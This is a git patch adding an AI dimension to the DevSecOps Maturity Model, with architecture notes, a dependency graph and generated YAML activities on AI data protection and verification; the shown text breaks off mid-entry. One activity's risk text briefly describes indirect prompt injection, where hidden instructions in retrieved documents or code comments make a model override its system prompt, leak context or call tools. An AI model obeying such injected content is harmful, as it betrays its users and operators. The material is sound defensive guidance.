From ee99fa3588764346f021bb8ed4615001e70ac505 Mon Sep 17 00:00:00 2001 From: Timo Pagel Date: Tue, 14 Jul 2026 13:17:47 +0000 Subject: [PATCH] add AI --- ARCHITECTURE.md | 207 + generated/dependency-tree.md | 576 +- generated/model.yaml | 4252 +++++++- src/assets/YAML/activities.yaml | 8798 +++++++++++++++++ .../YAML/default/AI/DataProtection.yaml | 364 + src/assets/YAML/default/AI/Guidance.yaml | 763 ++ src/assets/YAML/default/AI/Isolation.yaml | 486 + src/assets/YAML/default/AI/RedTeaming.yaml | 103 + src/assets/YAML/default/AI/Verification.yaml | 541 + src/assets/YAML/default/AI/_meta.yaml | 14 + .../default/BuildAndDeployment/Build.yaml | 36 +- .../BuildAndDeployment/Deployment.yaml | 66 +- .../BuildAndDeployment/PatchManagement.yaml | 8 - .../CultureAndOrganization/Design.yaml | 37 +- .../EducationAndGuidance.yaml | 30 - .../CultureAndOrganization/Process.yaml | 4 - .../Implementation/ApplicationHardening.yaml | 20 +- .../DevelopmentAndSourceControl.yaml | 2 - .../InfrastructureHardening.yaml | 42 - .../default/InformationGathering/Logging.yaml | 68 +- .../InformationGathering/Monitoring.yaml | 46 +- .../TestAndVerification/ApplicationTests.yaml | 8 - .../TestAndVerification/Consolidation.yaml | 24 +- .../DynamicDepthForApplications.yaml | 31 +- .../DynamicDepthForInfrastructure.yaml | 12 - .../StaticDepthForApplications.yaml | 102 +- .../StaticDepthForInfrastructure.yaml | 30 +- .../TestAndVerification/Test-Intensity.yaml | 10 - src/assets/YAML/default/implementations.yaml | 616 ++ src/assets/YAML/generated/dependency-tree.md | 267 + src/assets/YAML/meta.yaml | 47 + src/assets/YAML/schemas/dsomm-schema-ai.json | 158 + .../dsomm-schema-build-and-deployment.json | 19 - ...dsomm-schema-culture-and-organization.json | 19 - .../schemas/dsomm-schema-implementation.json | 11 - .../dsomm-schema-information-gathering.json | 19 - .../dsomm-schema-test-and-verification.json | 19 +- src/assets/YAML/teams.yaml | 9 + yaml-generation/generateDimensions.bash | 2 +- 39 files changed, 16912 insertions(+), 954 deletions(-) create mode 100644 ARCHITECTURE.md create mode 100644 src/assets/YAML/activities.yaml create mode 100644 src/assets/YAML/default/AI/DataProtection.yaml create mode 100644 src/assets/YAML/default/AI/Guidance.yaml create mode 100644 src/assets/YAML/default/AI/Isolation.yaml create mode 100644 src/assets/YAML/default/AI/RedTeaming.yaml create mode 100644 src/assets/YAML/default/AI/Verification.yaml create mode 100644 src/assets/YAML/default/AI/_meta.yaml create mode 100644 src/assets/YAML/generated/dependency-tree.md create mode 100644 src/assets/YAML/meta.yaml create mode 100644 src/assets/YAML/schemas/dsomm-schema-ai.json create mode 100644 src/assets/YAML/teams.yaml diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md new file mode 100644 index 0000000..e86b31a --- /dev/null +++ b/ARCHITECTURE.md @@ -0,0 +1,207 @@ +# Architecture of the DSOMM YAML Model + +This document describes the structure of the YAML files in `src/assets/YAML/default`, +which define the DSOMM maturity model (dimensions, subdimensions, activities and +implementation hints). + +## Processing pipeline + +``` +src/assets/YAML/default//.yaml (model source, this document) +src/assets/YAML/default/implementations.yaml (shared tool/reference catalog) +src/assets/YAML/custom//*.yaml (optional org-specific overlay) + │ + ▼ yaml-generation/generateDimensions.php (run via generateDimensions.bash, dockerized) +generated/model.yaml (merged model consumed by the application) +``` + +The generator: + +- merges all `src/assets/YAML/default/*/*.yaml` files (skipping `_meta.yaml`), +- overlays `src/assets/YAML/custom/*/*.yaml` if present (when a custom folder exists, + only activities defined there are kept), +- fails on duplicate `uuid`s and duplicate activity names (both must be globally unique), +- fails on missing `uuid` or `level`, +- resolves `dependsOn` entries (by activity name or uuid) across the *whole* model — cross-dimension dependencies are allowed, +- defaults missing `tags` to `["none"]` and auto-generates an `openCRE` reference, +- sorts activities by level. + +## Directory and file structure + +Each **dimension** is a directory; each **subdimension** is one YAML file in it. +Inside a file the nesting repeats dimension and subdimension as map keys: + +```yaml +# yaml-language-server: $schema=../../schemas/dsomm-schema-.json +--- +Build and Deployment: # dimension name (must match across all files in the folder) + Build: # subdimension name (one per file) + Defined build process: # activity name (globally unique) + uuid: ... + ... +``` + +| Path | Purpose | +|---|---| +| `default//_meta.yaml` | Display metadata of the dimension | +| `default//.yaml` | Activities of one subdimension | +| `default/implementations.yaml` | Catalog of tools/references, targeted by `$ref` | +| `schemas/dsomm-schema-*.json` | JSON schemas (one per dimension) for editor validation | +| `../meta.yaml` | UI strings, labels for reference systems, level descriptions | +| `../teams.yaml` | Team names and team groups for per-team assessment | + +Current dimensions: `AI`, `BuildAndDeployment`, `CultureAndOrganization`, +`Implementation`, `InformationGathering`, `TestAndVerification`. + +## `_meta.yaml` attributes + +| Attribute | Required | Description | +|---|---|---| +| `_meta.label` | yes | Display name of the dimension (e.g. "Build and Deployment") | +| `_meta.icon` | no | Icon file name; may be empty | +| `_meta.description` | no | Markdown description of the dimension and its subdimensions | + +## Activity attributes + +"Schema" = required by the JSON schemas in `src/assets/YAML/schemas/`. +"Generator" = hard-enforced by `generateDimensions.php` (build fails without it). +In practice several schema-required attributes are omitted in existing files (see +"Known inconsistencies" below); when creating **new** activities, treat every +schema-required attribute as mandatory. + +### Mandatory + +| Attribute | Enforced by | Description | +|---|---|---| +| `uuid` | schema + generator | Globally unique, stable identifier (UUID v4). Never reuse or change; used to track assessment state across model updates. | +| `risk` | schema | What can go wrong if the activity is *not* performed. Shown as motivation for the activity. | +| `measure` | schema | What to do: the concrete countermeasure/practice the activity consists of. | +| `level` | schema + generator | Maturity level 1–5 at which the activity is expected. | +| `difficultyOfImplementation` | schema | Effort estimate object with three sub-attributes, each rated 1–5: `knowledge` (required expertise; disciplines involved), `time` (effort over time), `resources` (systems/licenses needed). All three are required. | +| `usefulness` | schema | Security benefit of the activity, rated 1–5. | +| `implementation` | schema | List of `- $ref: src/assets/YAML/default/implementations.yaml#/implementations/` pointers to tools/guides that help implement the activity. May be an empty list (`[]`). Only `$ref` entries are allowed. | +| `references` | schema | Mappings to other standards. `samm2` (OWASP SAMM v2 stream IDs), `iso27001-2017` and `iso27001-2022` (control numbers) are required arrays; free-text entries are used to note missing mappings. `openCRE` is added automatically by the generator — do not maintain it manually. Other standards (e.g. OWASP AISVS categories) are linked as `implementation` `$ref`s (entries `aisvs-c01` … `aisvs-appc` in `implementations.yaml`), not as reference arrays. | +| `description` | schema | Markdown long-form explanation of the activity (background, benefits, guidelines). Required by schema, though older activities often omit it. | +| `comments` | schema¹ | Assessment comments placeholder, initialize with `""`. | + +¹ Optional in `dsomm-schema-test-and-verification.json` and `dsomm-schema-ai.json`; +required by the other dimension schemas. + +The former assessment-state attributes `isImplemented` and `evidence` have been +removed from the schemas and from all activity YAML files; assessment state is +not maintained in the model source. + +### Optional + +| Attribute | Description | +|---|---| +| `assessment` | Markdown checklist describing how an assessor verifies the activity (what to show/demonstrate). | +| `dependsOn` | List of activity *uuids* that should be implemented first, with the activity name appended as a YAML comment for readability (`- # `). Resolved globally, so activities in other dimensions can be referenced. The generator also resolves plain activity names (used in older files) and fails on unknown references. | +| `tags` | List of free-form tags used for filtering in the UI (e.g. `inventory`, `sca`, `ai`). Defaults to `["none"]`. | +| `meta.implementationGuide` | Practical how-to hints for implementing the measure. | +| `credits` | Attribution when an activity was adopted from another project (e.g. AppSecure-nrw Security Belts). | +| `teamsImplemented`, `teamsEvidence` | Per-team assessment state (used in team mode; see `dsomm-schema-implementation.json` and `teams.yaml`). | + +YAML anchors/aliases (`&name` / `*name`) are used in existing files to share +identical `risk` texts between activities and are safe to use. + +## `implementations.yaml` attributes + +Every entry under the top-level `implementations:` key: + +| Attribute | Required | Description | +|---|---|---| +| `uuid` | yes | Unique identifier of the implementation | +| `name` | yes | Display name of the tool/resource | +| `tags` | yes | List of tags (may be empty `[]`) for filtering | +| `url` | yes (schema) | Link to the tool/resource; omitted in a few legacy entries | +| `description` | yes (schema) | Short markdown description; omitted in many legacy entries | + +Activities reference these entries via `$ref`, so a tool is described once and +reused everywhere. `TEST_REFERENCED_URLS=true` (or `generateDimensions.bash --test-urls`) +checks all URLs. + +## Known inconsistencies + +- The JSON schemas declare `additionalProperties: false` but existing files use + attributes not present in every schema (`tags`, `credits`, `comment`); the + generator accepts them. +- Schema-required attributes (`description`, `comments`) are missing in many + existing activities; only `uuid` and `level` make the generator fail. +- The per-dimension schemas differ slightly (`dsomm-schema-test-and-verification.json` + requires fewer attributes; `dsomm-schema-implementation.json` uses + `teamsImplemented`/`teamsEvidence`). + +## The AI dimension + +The `AI` dimension (`src/assets/YAML/default/AI/`, schema +`schemas/dsomm-schema-ai.json`) covers the secure use of AI in software +development and the security of AI-based features: + +| Subdimension | Activity | Level | +|---|---|---| +| Isolation | Container-based isolation of AI agents | 1 | +| Isolation | Permission management for AI agents | 1 | +| Isolation | Least privilege on external systems for AI agents | 2 | +| Isolation | Untrusted workspace handling for AI agents | 2 | +| Isolation | Network isolation for AI agents | 3 | +| Guidance | Basic secure coding rules for AI assistants | 1 | +| Guidance | AI usage policy | 2 | +| Guidance | Security requirements for AI-assisted development | 2 | +| Guidance | Spec-driven development | 2 | +| Guidance | Inventory of AI agents | 2 | +| Guidance | Language and framework specific secure coding rules for AI assistants | 3 | +| Guidance | Evaluation of the trust of used AI components | 3 | +| Verification | Continuous detection of compromised AI components | 4 | +| Guidance | Threat modeling of AI components | 3 | +| Guidance | Loading security rules at the right development step | 4 | +| Red Teaming | Basic AI red teaming | 2 | +| Red Teaming | Regular automated AI red teaming | 4 | +| Data Protection | Basic data leak prevention | 1 | +| Data Protection | Input validation for AI systems | 2 | +| Data Protection | Secure output handling in AI applications | 4 | +| Data Protection | Protection of agent memory against poisoning | 3 | +| Data Protection | Automated data leak detection for AI interactions | 4 | +| Data Protection | Hallucination detection for AI responses | 4 | +| Verification | Human review of AI generated code | 1 | +| Verification | Validation of AI-suggested dependencies | 2 | +| Verification | Self-verification of AI generated changes | 2 | +| Verification | No verification bypass for AI generated code | 2 | +| Verification | Static and dynamic analysis of AI generated code | 3 | +| Verification | Security test generation with AI | 3 | + +All AI activities carry the tag `ai` plus a subdimension tag +(`isolation`, `guidance`, `red-teaming`, `data-protection`, `verification`). + +## Handling duplicates (e.g. SAST/DAST for AI-generated code) + +AI-generated code must be verified with SAST/DAST — but static and dynamic +analysis are already covered by the *Test and Verification* dimension +(`StaticDepthForApplications`, `DynamicDepthForApplications`, …). Copying those +activities into the AI dimension would break the model: the generator rejects +duplicate uuids and duplicate activity names, and a copy would fork the +assessment state (an organization would have to answer the same question twice). + +The proposed rules, applied in the AI dimension: + +1. **One canonical activity per topic.** A practice lives in exactly one + dimension/subdimension. SAST/DAST stay in *Test and Verification*. +2. **Reference, don't copy — use `dependsOn`.** `dependsOn` resolves activity + names across the whole model. The AI activity + *"No verification bypass for AI generated code"* depends on + `Defined build process`, `Static analysis for important server side components` + and `Simple Scan` instead of redefining them. The AI activity itself only + describes the **delta**: making sure AI-generated changes cannot skip those + existing gates. +3. **Use `tags` for cross-cutting views.** Tagging existing canonical activities + with `ai` (e.g. the SAST/DAST/SCA activities most relevant for AI-generated + code) allows filtering an "AI security" view in the UI without duplicating + content or uuids. +4. **Only create a new activity for a genuine delta.** If AI introduces a new + aspect of an existing topic, create a new activity with its own uuid that is + scoped to that aspect (e.g. *"Human review of AI generated code"* — review + accountability and no self-approving agents), and link the generic activity + via `dependsOn`. +5. **Mention the relationship in `description`.** The activity text should state + explicitly that the generic practice is defined elsewhere, so readers and + assessors are not confused about scope. diff --git a/generated/dependency-tree.md b/generated/dependency-tree.md index 1c7aa3d..f9dad31 100644 --- a/generated/dependency-tree.md +++ b/generated/dependency-tree.md @@ -5,267 +5,369 @@ The activities in this DSOMM Model have the following dependencies. ```mermaid graph LR -0(L2 Pinning of artifacts) -1(L1 Defined build process) -2(L2 SBOM of components) -3(L3 Signing of code) -4(L5 Signing of artifacts) -5(L1 Automated deployment process) -6(L1 Defined deployment process) -7(L1 Version control) -8(L1 Inventory of production components) -9(L2 Inventory of production artifacts) -10(L3 Handover of confidential parameters) -11(L2 Environment depending configuration parameters secrets) -12(L3 Inventory of production dependencies) -13(L3 Rolling update on deployment) -14(L4 Canary deployment) -15(L4 Same artifact for environments) -16(L4 Usage of feature toggles) -17(L5 Blue/Green Deployment) -18(L4 Smoke Test) -19(L2 Automated merge of automated PRs) -20(L1 Automated PRs for patches) -21(L3 Automated deployment of automated PRs) -22(L3 Creation of simple abuse stories) -23(L1 Conduction of simple threat modeling on technical level) -24(L3 Creation of threat modeling processes and standards) -25(L4 Conduction of advanced threat modeling) -26(L5 Creation of advanced abuse stories) -27(L2 Regular security training of security champions) -28(L2 Each team has a security champion) -29(L2 Determining the protection requirement) -30(L2 App. Hardening Level 1) -31(L1 App. Hardening Level 1 50%) -32(L3 App. Hardening Level 2 75%) -33(L4 App. Hardening Level 2) -34(L5 App. Hardening Level 3) -35(L3 Block force pushes) -36(L2 Require a PR before merging) -37(L3 Dismiss stale PR approvals) -38(L3 Require status checks to pass) -39(L2 Backup) -40(L2 MFA) -41(L1 MFA for admins) -42(L2 Usage of test and production environments) -43(L2 Virtual environments are limited) -44(L2 Applications are running in virtualized environments) -45(L3 Immutable infrastructure) -46(L3 Infrastructure as Code) -47(L3 Limitation of system events) -48(L3 Audit of system events) -49(L3 Usage of security by default for components) -50(L3 WAF baseline) -51(L1 Context-aware output encoding) -52(L4 Production near environments are used by developers) -53(L4 WAF medium) -54(L5 WAF Advanced) -55(L2 Centralized application logging) -56(L2 Alerting) -57(L3 Visualized logging) -58(L1 Centralized system logging) -59(L5 Correlation of security events) -60(L2 Visualized metrics) -61(L2 Monitoring of costs) -62(L1 Simple application metrics) -63(L1 Simple system metrics) -64(L3 Advanced availability and stability metrics) -65(L3 Deactivation of unused metrics) -66(L3 Targeted alerting) -67(L4 Advanced app. metrics) -68(L4 Coverage and control metrics) -69(L4 Defense metrics) -70(L3 Filter outgoing traffic) -71(L4 Screens with metric visualization) -72(L3 Grouping of metrics) -73(L5 Metrics are combined with tests) -74(L2 Patching mean time to resolution via PR) -75(L3 Generation of response statistics) -76(L3 Usage of a vulnerability management system) -77(L4 Patching mean time to resolution via production) -78(L2 Artifact-based false positive treatment) -79(L1 Simple false positive treatment) -80(L3 Fix based on accessibility) -81(L1 Treatment of defects with high or critical severity) -82(L3 Global false positive treatment) -83(L2 Exploit likelihood estimation) -84(L3 Office Hours) -85(L2 Coverage of client side dynamic components) -86(L2 Usage of different roles) -87(L2 Simple Scan) -88(L3 Coverage of hidden endpoints) -89(L3 Coverage of more input vectors) -90(L3 Coverage of sequential operations) -91(L4 Usage of multiple scanners) -92(L5 Coverage of service to service communication) -93(L2 Test for exposed services) -94(L2 Isolated networks for virtual environments) -95(L2 Test network segmentation) -96(L3 Test for unauthorized installation) -97(L2 Evaluation of the trust of used components) -98(L2 Software Composition Analysis server side) -99(L2 Test for Time to Patch) -100(L2 Test libyear) -101(L3 API design validation) -102(L3 Software Composition Analysis client side) -103(L3 Static analysis for important client side components) -104(L3 Static analysis for important server side components) -105(L3 Test for Patch Deployment Time) -106(L4 Static analysis for all self written components) -107(L4 Usage of multiple analyzers) -108(L5 Dead code elimination) -109(L5 Exclusion of source code duplicates) -110(L5 Static analysis for all components/libraries) -111(L4 Correlate known vulnerabilities in infrastructure with new image versions) -112(L2 Usage of a maximum lifetime for images) -113(L4 Test of infrastructure components for known vulnerabilities) +0(L2 Basic data leak prevention) +1(L2 AI usage policy) +2(L4 Automated data leak detection for AI interactions) +3(L4 Hallucination detection for AI responses) +4(L4 Secure output handling in AI applications) +5(L3 Input validation for AI systems) +6(L1 Context-aware output encoding) +7(L5 Protection of agent memory against poisoning) +8(L2 Inventory of AI agents) +9(L2 Language and framework specific security rules) +10(L1 Static load of security rules) +11(L2 Spec-driven development) +12(L1 Version control) +13(L2 Threat modeling rule) +14(L1 Conduction of simple threat modeling on technical level) +15(L3 Audit logging of AI agent actions) +16(L2 Centralized application logging) +17(L3 Decommissioning of AI agents) +18(L3 Least privilege on external systems for AI agents) +19(L3 Evaluation of the trust of used AI components) +20(L2 Evaluation of the trust of used components) +21(L3 Threat modeling of AI components) +22(L4 Anomaly detection for AI agent behavior) +23(L2 Alerting) +24(L4 Dynamic load of security rules) +25(L2 Rate limiting and resource budgets for AI systems) +26(L2 Monitoring of costs) +27(L2 Untrusted workspace handling for AI agents) +28(L1 Container-based isolation of AI agents) +29(L2 Permission management for AI agents) +30(L3 Network isolation for AI agents) +31(L4 Human approval for irreversible AI agent actions) +32(L4 Regular automated AI red teaming) +33(L3 Basic AI red teaming) +34(L1 Human review of AI generated specifications) +35(L2 Human review of AI generated plans) +36(L2 No verification bypass for AI generated code) +37(L1 Defined build process) +38(L3 Static analysis for important server side components) +39(L2 Simple Scan) +40(L2 Self-verification of AI generated changes) +41(L2 Security unit tests for important components) +42(L2 Static and dynamic analysis of AI generated code) +43(L2 Validation of AI-suggested dependencies) +44(L2 Software Composition Analysis server side) +45(L3 Human review of AI generated code) +46(L3 Security test generation with AI) +47(L4 Continuous detection of compromised AI components) +48(L3 Test for compromised components) +49(L5 Drift detection for agent instructions and guardrails) +50(L3 Drift detection for deployed configuration) +51(L2 Pinning of artifacts) +52(L2 SBOM of components) +53(L3 Signing of code) +54(L5 Signing of artifacts) +55(L1 Automated deployment process) +56(L1 Defined deployment process) +57(L1 Inventory of production components) +58(L2 Inventory of production artifacts) +59(L3 Handover of confidential parameters) +60(L2 Environment depending configuration parameters secrets) +61(L3 Inventory of production dependencies) +62(L3 Rolling update on deployment) +63(L4 Canary deployment) +64(L4 Same artifact for environments) +65(L4 Usage of feature toggles) +66(L5 Blue/Green Deployment) +67(L4 Smoke Test) +68(L2 Automated merge of automated PRs) +69(L1 Automated PRs for patches) +70(L3 Automated deployment of automated PRs) +71(L3 Creation of simple abuse stories) +72(L3 Creation of threat modeling processes and standards) +73(L4 Conduction of advanced threat modeling) +74(L5 Creation of advanced abuse stories) +75(L2 Regular security training of security champions) +76(L2 Each team has a security champion) +77(L2 Determining the protection requirement) +78(L2 App. Hardening Level 1) +79(L1 App. Hardening Level 1 50%) +80(L3 App. Hardening Level 2 75%) +81(L4 App. Hardening Level 2) +82(L5 App. Hardening Level 3) +83(L3 Block force pushes) +84(L2 Require a PR before merging) +85(L3 Dismiss stale PR approvals) +86(L3 Require status checks to pass) +87(L2 Backup) +88(L2 MFA) +89(L1 MFA for admins) +90(L2 Usage of test and production environments) +91(L2 Virtual environments are limited) +92(L2 Applications are running in virtualized environments) +93(L3 Immutable infrastructure) +94(L3 Infrastructure as Code) +95(L3 Limitation of system events) +96(L3 Audit of system events) +97(L3 Usage of security by default for components) +98(L3 WAF baseline) +99(L4 Production near environments are used by developers) +100(L4 WAF medium) +101(L5 WAF Advanced) +102(L3 Logging of AI interactions) +103(L3 Visualized logging) +104(L1 Centralized system logging) +105(L5 Correlation of security events) +106(L2 Visualized metrics) +107(L1 Simple application metrics) +108(L1 Simple system metrics) +109(L3 Advanced availability and stability metrics) +110(L3 Deactivation of unused metrics) +111(L3 Targeted alerting) +112(L4 Advanced app. metrics) +113(L4 Coverage and control metrics) +114(L4 Defense metrics) +115(L3 Filter outgoing traffic) +116(L4 Screens with metric visualization) +117(L3 Grouping of metrics) +118(L5 Metrics are combined with tests) +119(L2 Patching mean time to resolution via PR) +120(L3 Generation of response statistics) +121(L3 Usage of a vulnerability management system) +122(L4 Patching mean time to resolution via production) +123(L2 Artifact-based false positive treatment) +124(L1 Simple false positive treatment) +125(L3 Fix based on accessibility) +126(L1 Treatment of defects with high or critical severity) +127(L3 Global false positive treatment) +128(L2 Exploit likelihood estimation) +129(L3 Office Hours) +130(L2 Coverage of client side dynamic components) +131(L2 Usage of different roles) +132(L3 Coverage of hidden endpoints) +133(L3 Coverage of more input vectors) +134(L3 Coverage of sequential operations) +135(L4 Usage of multiple scanners) +136(L5 Coverage of service to service communication) +137(L2 Test for exposed services) +138(L2 Isolated networks for virtual environments) +139(L2 Test network segmentation) +140(L3 Test for unauthorized installation) +141(L2 Test for Time to Patch) +142(L2 Test libyear) +143(L3 API design validation) +144(L3 Software Composition Analysis client side) +145(L3 Static analysis for important client side components) +146(L3 Test for Patch Deployment Time) +147(L4 Static analysis for all self written components) +148(L4 Usage of multiple analyzers) +149(L5 Dead code elimination) +150(L5 Exclusion of source code duplicates) +151(L5 Static analysis for all components/libraries) +152(L4 Correlate known vulnerabilities in infrastructure with new image versions) +153(L2 Usage of a maximum lifetime for images) +154(L4 Test of infrastructure components for known vulnerabilities) 1 --> 0 -1 --> 2 -1 --> 3 -1 --> 4 -1 --> 5 -1 --> 6 -1 --> 15 -1 --> 49 -1 --> 87 -1 --> 98 -1 --> 100 -1 --> 102 -1 --> 103 -1 --> 104 -1 --> 105 -1 --> 108 -1 --> 109 -0 --> 4 -6 --> 5 -6 --> 39 -6 --> 42 -7 --> 6 -5 --> 8 -5 --> 9 -5 --> 13 -5 --> 14 -5 --> 52 -5 --> 18 -8 --> 9 -8 --> 29 -8 --> 80 -8 --> 98 -8 --> 101 -8 --> 102 -8 --> 103 -8 --> 104 -8 --> 106 -8 --> 110 -11 --> 10 -9 --> 12 -2 --> 12 -15 --> 16 +1 --> 8 +1 --> 19 +0 --> 2 +4 --> 3 +5 --> 4 +5 --> 7 +6 --> 4 +6 --> 98 +10 --> 9 +10 --> 24 +11 --> 9 +11 --> 13 +11 --> 24 +11 --> 34 +11 --> 35 +12 --> 11 +12 --> 56 +14 --> 13 +14 --> 21 +14 --> 71 +14 --> 72 +14 --> 73 +8 --> 15 +8 --> 17 +16 --> 15 +16 --> 102 +16 --> 103 18 --> 17 +18 --> 45 20 --> 19 -20 --> 74 -20 --> 77 -20 --> 99 -20 --> 105 -19 --> 21 +20 --> 140 +15 --> 22 +15 --> 31 23 --> 22 -23 --> 24 23 --> 25 -24 --> 22 -24 --> 25 -22 --> 26 +23 --> 16 +23 --> 105 +23 --> 111 +13 --> 24 +13 --> 46 +26 --> 25 28 --> 27 -28 --> 76 -31 --> 30 -30 --> 32 -32 --> 33 -33 --> 34 -36 --> 35 -36 --> 37 -36 --> 38 +28 --> 30 +29 --> 18 +29 --> 31 +33 --> 32 +34 --> 35 +37 --> 36 +37 --> 40 +37 --> 51 +37 --> 52 +37 --> 53 +37 --> 54 +37 --> 55 +37 --> 56 +37 --> 64 +37 --> 97 +37 --> 39 +37 --> 44 +37 --> 142 +37 --> 144 +37 --> 145 +37 --> 38 +37 --> 146 +37 --> 48 +37 --> 149 +37 --> 150 +38 --> 36 +38 --> 42 +38 --> 147 +38 --> 151 +39 --> 36 +39 --> 42 +39 --> 131 +39 --> 136 41 --> 40 44 --> 43 -46 --> 45 -46 --> 52 +44 --> 128 +44 --> 48 +44 --> 148 +45 --> 46 +19 --> 47 48 --> 47 -51 --> 50 -50 --> 53 -53 --> 54 +7 --> 49 +50 --> 49 +51 --> 54 56 --> 55 -56 --> 59 -56 --> 66 -58 --> 57 +56 --> 87 +56 --> 90 55 --> 57 -57 --> 59 -60 --> 56 -60 --> 64 -60 --> 48 -60 --> 65 -60 --> 67 -60 --> 68 -60 --> 69 -62 --> 61 -62 --> 60 -62 --> 64 -62 --> 67 -63 --> 61 -63 --> 60 -70 --> 69 +55 --> 58 +55 --> 50 +55 --> 62 +55 --> 63 +55 --> 99 +55 --> 67 +57 --> 58 +57 --> 77 +57 --> 125 +57 --> 44 +57 --> 143 +57 --> 144 +57 --> 145 +57 --> 38 +57 --> 147 +57 --> 151 +60 --> 59 +58 --> 61 +52 --> 61 +64 --> 65 +67 --> 66 +69 --> 68 +69 --> 119 +69 --> 122 +69 --> 141 +69 --> 146 +68 --> 70 72 --> 71 72 --> 73 +71 --> 74 76 --> 75 -76 --> 82 -74 --> 77 +76 --> 121 79 --> 78 -81 --> 80 -78 --> 82 -83 --> 76 -83 --> 102 -84 --> 76 -86 --> 85 -86 --> 88 -86 --> 89 -86 --> 90 -86 --> 91 -87 --> 86 -87 --> 92 +78 --> 80 +80 --> 81 +81 --> 82 +84 --> 83 +84 --> 85 +84 --> 86 +89 --> 88 +92 --> 91 94 --> 93 -94 --> 95 -97 --> 96 -98 --> 83 -98 --> 107 -103 --> 106 -103 --> 110 -104 --> 106 -104 --> 110 -102 --> 107 -106 --> 107 -112 --> 111 -112 --> 113 +94 --> 99 +96 --> 95 +98 --> 100 +100 --> 101 +104 --> 103 +103 --> 105 +106 --> 23 +106 --> 109 +106 --> 96 +106 --> 110 +106 --> 112 +106 --> 113 +106 --> 114 +107 --> 26 +107 --> 106 +107 --> 109 +107 --> 112 +108 --> 26 +108 --> 106 +115 --> 114 +117 --> 116 +117 --> 118 +121 --> 120 +121 --> 127 +119 --> 122 +124 --> 123 +126 --> 125 +123 --> 127 +128 --> 121 +128 --> 144 +129 --> 121 +131 --> 130 +131 --> 132 +131 --> 133 +131 --> 134 +131 --> 135 +138 --> 137 +138 --> 139 +145 --> 147 +145 --> 151 +144 --> 148 +147 --> 148 +153 --> 152 +153 --> 154 O --> 1 -O --> 7 -O --> 11 +O --> 5 +O --> 6 +O --> 10 +O --> 12 +O --> 14 O --> 20 -O --> 23 O --> 28 -O --> 31 -O --> 36 +O --> 29 +O --> 33 +O --> 37 O --> 41 -O --> 44 -O --> 46 -O --> 51 -O --> 58 -O --> 62 -O --> 63 -O --> 70 -O --> 72 +O --> 60 +O --> 69 +O --> 76 O --> 79 -O --> 81 O --> 84 +O --> 89 +O --> 92 O --> 94 -O --> 97 -O --> 112 +O --> 104 +O --> 107 +O --> 108 +O --> 115 +O --> 117 +O --> 124 +O --> 126 +O --> 129 +O --> 138 +O --> 153 ``` diff --git a/generated/model.yaml b/generated/model.yaml index 53ab713..0aff1a2 100644 --- a/generated/model.yaml +++ b/generated/model.yaml @@ -1,9 +1,3623 @@ --- meta: - version: 4.3.1 - released: "2026-06-05" - publisher: https://github.com/devsecopsmaturitymodel/DevSecOps-MaturityModel-data + version: __VERSION_PLACEHOLDER__ + released: "2026-07-12" + publisher: tpagel --- +AI: + Data Protection: + Basic data leak prevention: + uuid: dc62d384-0b9c-47d9-b7a5-9d82e53642ba + description: |- + Data shared with AI tools (prompts, attached files, repository content) may + leave the organization and may be stored or used for model training by the + provider. Basic data leak prevention defines what may be shared with which + tool and uses contractual and technical provider settings to protect it. + risk: |- + Developers paste secrets, personal data or confidential source code into AI + tools. The data is processed by third parties, potentially stored, used for + training or leaked in a provider breach. + measure: |- + Define which data classes may be used with which AI tools. If a commercial AI is used, use AI + offerings with training opt-out and data retention agreements. Train + employees to keep secrets and personal data out of prompts. + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + assessment: | + - Show the definition of which data classes may be used with which AI tools. + - Show the enterprise agreements or provider settings (training opt-out, data retention). + - Show the training or awareness material that tells employees to keep secrets and personal data out of prompts. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - data-protection + implementation: + - uuid: 3769fa07-ae91-4110-bdc1-48bb704461c1 + name: 'OWASP AISVS C01: Training Data Integrity and Traceability' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C01-Training-Data-Integrity-and-Traceability.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C01: Training Data Integrity and Traceability. + - uuid: e72ce764-f9d1-401f-9a5e-2897314e4083 + name: 'OWASP AISVS C08: Memory, Embeddings and Vector Database Security' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C08-Memory-Embeddings-and-Vector-Database.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C08: Memory, Embeddings and Vector Database Security. + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 8.2.3 + - 13.2.4 + iso27001-2022: + - 5.1 + - 5.14 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Data%20Protection/subsection/Basic%20data%20leak%20prevention + comments: "" + Input validation for AI systems: + uuid: 0012e51c-a068-4549-a4d5-d1957b52676f + description: |- + Everything that enters a model context is input: user prompts, but + also documents retrieved via retrieval-augmented generation (RAG), + web content, source code, issues and tool results. Prompt injection prevention treats all of it as untrusted data + and validates or constrains it before the model processes it. + risk: |- + Attacker-controlled content (e.g. a hidden instruction in a retrieved + document, web page or code comment) is interpreted as an instruction by the + model. The attacker overrides the system prompt, extracts confidential + context or triggers unintended tool calls ([indirect prompt injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/#:~:text=triggers%20unexpected%20behavior).-,Indirect%20Prompt%20Injections,-Indirect%20prompt%20injections)). + measure: |- + Validate and constrain all input entering the model context: separate + instructions from data in prompt templates, sanitize or annotate untrusted + content, restrict input length and format where possible and use guardrail + filters that detect known injection patterns before the model call. + assessment: | + - Show prompt templates that separate instructions from untrusted data. + - Show the guardrail or filter configuration applied before the model call and a test where a known injection pattern is detected. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 5 + level: 3 + tags: + - ai + - data-protection + - input-validation + implementation: + - uuid: 61e944f5-fa0d-4deb-92b9-c5e77d8fd27a + name: 'OWASP AISVS C02: Input Validation' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C02-Input-Validation.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C02: Input Validation. + - uuid: 13aceaa9-f772-48e6-9134-d9c45650160d + name: OWASP Top 10 for Large Language Model Applications + tags: + - ai + - documentation + - threat + url: https://owasp.org/www-project-top-10-for-large-language-model-applications/ + description: |- + A list of the most 